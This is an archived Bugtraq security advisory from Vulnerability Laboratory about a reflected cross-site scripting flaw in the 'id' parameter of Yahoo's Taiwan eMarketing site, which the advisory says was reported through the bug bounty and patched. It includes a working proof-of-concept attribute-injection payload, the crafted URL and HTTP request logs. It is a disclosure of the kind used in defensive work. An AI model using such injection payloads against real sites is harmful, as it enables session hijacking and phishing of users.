[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Yahoo eMarketing Bug Bounty #31 - Cross Site Scripting Vulnerability
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugs@xxxxxxxxxxxxxxxxxxx
- Subject: Yahoo eMarketing Bug Bounty #31 - Cross Site Scripting Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Thu, 07 May 2015 16:22:50 +0200
Document Title:
===============
Yahoo eMarketing Bug Bounty #31 - Cross Site Scripting Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1491
Yahoo Security ID (H1): #55395
Release Date:
=============
2015-05-07
Vulnerability Laboratory ID (VL-ID):
====================================
1491
Common Vulnerability Scoring System:
====================================
3.3
Product & Service Introduction:
===============================
Yahoo! Inc. is an American multinational internet corporation headquartered in
Sunnyvale, California. It is widely
known for its web portal, search engine Yahoo! Search, and related services,
including Yahoo! Directory, Yahoo! Mail,
Yahoo! News, Yahoo! Finance, Yahoo! Groups, Yahoo! Answers, advertising, online
mapping, video sharing, fantasy sports
and its social media website. It is one of the most popular sites in the United
States. According to news sources,
roughly 700 million people visit Yahoo! websites every month. Yahoo! itself
claims it attracts `more than half a
billion consumers every month in more than 30 languages.
(Copy of the Vendor Homepage: http://www.yahoo.com )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered a client-side cross
site scripting web vulnerability in the official Yahoo eMarketing online
service web-application.
Vulnerability Disclosure Timeline:
==================================
2015-05-03: Vendor Notification (Yahoo Security Team - Bug Bounty Program)
2015-05-05: Vendor Response/Feedback (Yahoo Security Team - Bug Bounty Program)
2015-05-06: Vendor Fix/Patch (Yahoo Developer Team)
2015-05-06: Bug Bounty Reward (Yahoo Security Team - Bug Bounty Program)
2015-05-07: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A non-persistent input validation web vulnerability has been discovered in the
official Yahoo eMarketing online service web-application.
The security vulnerability allows remote attackers to manipulate client-side
application to browser requests to compromise user/admin session information.
The vulnerability is located in the `id` value of the `eMarketing` module.
Remote attackers are able to inject malicious script codes to client-side GET
method
application requests. Remote attackers are able to prepare special crafted
web-links to execute client-side script code that compromises the yahoo
user/admin
session data. The execution of the script code occurs in same module context
location by a mouse-over. The attack vector of the vulnerability is located on
the
client-side of the online service and the request method to inject or execute
the code is GET.
The security risk of the non-persistent cross site vulnerability is estimated
as medium with a cvss (common vulnerability scoring system) count of 3.5.
Exploitation of the non-persistent cross site scripting web vulnerability
requires no privileged web application user account and low user interaction.
Successful exploitation of the vulnerability results in session hijacking,
non-persistent phishing, non-persistent external redirects, non-persistent load
of malicious script codes or non-persistent web module context manipulation.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] Yahoo > eMarketing
Vulnerable Parameter(s):
[+] id
Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by
remote attackers without privilege application user account and low user
interaction (click).
For security demonstration or to reproduce the security vulnerability follow
the provided information and steps below to continue.
PoC Payload(s): "onmouseenter="confirm(document.domain)
(https://marketing.tw.campaign.yahoo.net/)
PoC: eMarketing ID
<br/>
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tr>
<td align="right" width="10%" >
<div class="fb-like" style="overflow: hidden; "
data-href="http://marketing.tw.campaign.yahoo.net/emarketing/searchMarketing/main/S04/B01?id="onmouseenter="confirm(document.domain)"
data-layout="button_count" data-action="recommend" data-show-faces="false"
data-share="true"></div>
</td>
<td align="left" valign="bottom" width="65%" >
<span style="font-size:12px; margin: 2px; font-weight:bold;
color:#4d0079">覺得這篇文章有幫助？
分享給更多頭家！</span>
</td>
</tr>
</table>
--- PoC Session Logs [GET] ---
Status: 200[OK]
GET
https://marketing.tw.campaign.yahoo.net/emarketing/searchMarketing/main/S04/B01?id=%22onmouseenter=%22confirm(document.domain)
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[-1]
Mime Type[text/html]
Request Headers:
Host[marketing.tw.campaign.yahoo.net]
User-Agent[Mozilla/5.0 (X11; Linux i686; rv:37.0) Gecko/20100101
Firefox/37.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
Cookie[_ga=GA1.5.1632823259.1428499428;
s_pers=%20s_fid%3D66FF8BBF1D4DB480-10779CBEBDA57A64%7C1491837590956%3B%20s_vs%3D1%7C1428680990957%3B%20s_nr%3D1428679190961-New%7C1460215190961%3B;
__qca=P0-870655898-1430085821750; _ga=GA1.2.1969841862.1430892005]
X-Forwarded-For[8.8.8.8]
Connection[keep-alive]
Response Headers:
Date[Wed, 06 May 2015 12:19:05 GMT]
Server[ATS]
X-Powered-By[PHP/5.3.27]
Content-Type[text/html]
Age[0]
Connection[close]
Via[http/1.1 leonpc (ApacheTrafficServer/4.2.0 [c sSf ])]
Reference(s):
https://marketing.tw.campaign.yahoo.net
https://marketing.tw.campaign.yahoo.net/emarketing/searchMarketing/
https://marketing.tw.campaign.yahoo.net/emarketing/searchMarketing/main/S04/B01?id=
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable
id value in the emarketing service application of yahoo.
Restrict the input and disallow special chars or script code tags to prevent
further injection attacks.
Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability in
the tw yahoo application is estimated as medium. (CVSS 3.3)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [s-dz@xxxxxxxxxx]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any
warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a
particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential
loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen
material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com
- www.evolution-sec.com
Contact: admin@xxxxxxxxxxxxxxxxxxxxx -
research@xxxxxxxxxxxxxxxxxxxxx - admin@xxxxxxxxxxxxxxxxx
Section: magazine.vulnerability-db.com -
vulnerability-lab.com/contact.php -
evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab
- youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php -
vulnerability-lab.com/rss/rss_upcoming.php -
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php -
vulnerability-lab.com/list-of-bug-bounty-programs.php -
vulnerability-lab.com/register/
Any modified copy or reproduction, including partially usages, of this file
requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All
other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts,
advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To
record, list (feed), modify, use or edit our material contact
(admin@xxxxxxxxxxxxxxxxxxxxx or research@xxxxxxxxxxxxxxxxxxxxx) to get a
permission.
Copyright © 2015 | Vulnerability Laboratory -
[Evolution Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@xxxxxxxxxxxxxxxxxxxxx
PGP KEY:
http://www.vulnerability-lab.com/keys/admin@xxxxxxxxxxxxxxxxxxxxx%280x198E9928%29.txt